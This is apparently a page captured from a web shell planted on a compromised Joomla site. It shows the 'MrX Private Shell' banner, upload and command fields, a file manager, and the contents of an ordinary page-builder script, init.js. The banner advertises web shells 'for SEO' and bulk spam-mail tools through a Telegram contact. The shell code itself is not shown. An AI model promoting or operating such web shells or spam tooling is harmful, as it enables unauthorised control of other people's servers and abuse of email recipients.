__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
jQuery(document).ready(function ($) {
	if (spPagebuilderEnabled) {
		$(spIntergationElement).hide();
		$(".builder-integration-component").show();
		$(".builder-integration-button-editor").addClass("is-active");
	} else {
		$(".builder-integration-component").hide();
		$(spIntergationElement).show();
		$(".builder-integration-button-joomla").addClass("is-active");
	}

	$("[action-switch-builder]").on("click", function (event) {
		event.preventDefault();

		$("[action-switch-builder]").removeClass("is-active");
		$(this).addClass("is-active");

		var action = $(this).data("action");

		// get shared parent container
		var $container = $(this).parent(".sp-pagebuilder-btn-group").parent();

		if (action === "editor") {
			$(".builder-integration-component").hide();
			$(spIntergationElement).show();
			$("#jform_attribs_sppagebuilder_active").val("0");

			if (typeof WFEditor !== "undefined") {
				$(".wf-editor", $container).each(function () {
					var value = this.nodeName === "TEXTAREA" ? this.value : this.innerHTML;

					// pass content from textarea to editor
					Joomla.editors.instances[this.id].setValue(value);

					// show editor and tabs
					$(this).parent(".wf-editor-container").show();
				});
			}
		} else {
			if (typeof WFEditor !== "undefined") {
				$(".wf-editor", $container).each(function () {
					// pass content to textarea
					Joomla.editors.instances[this.id].getValue();

					// hide editor and tabs
					$(this).parent(".wf-editor-container").hide();
				});
			}

			$(spIntergationElement).hide();
			$(".builder-integration-component").show();
			$("#jform_attribs_sppagebuilder_active").val("1");
		}
	});
});

Filemanager

Name Type Size Permission Actions
init.js File 1.62 KB 0664
Filemanager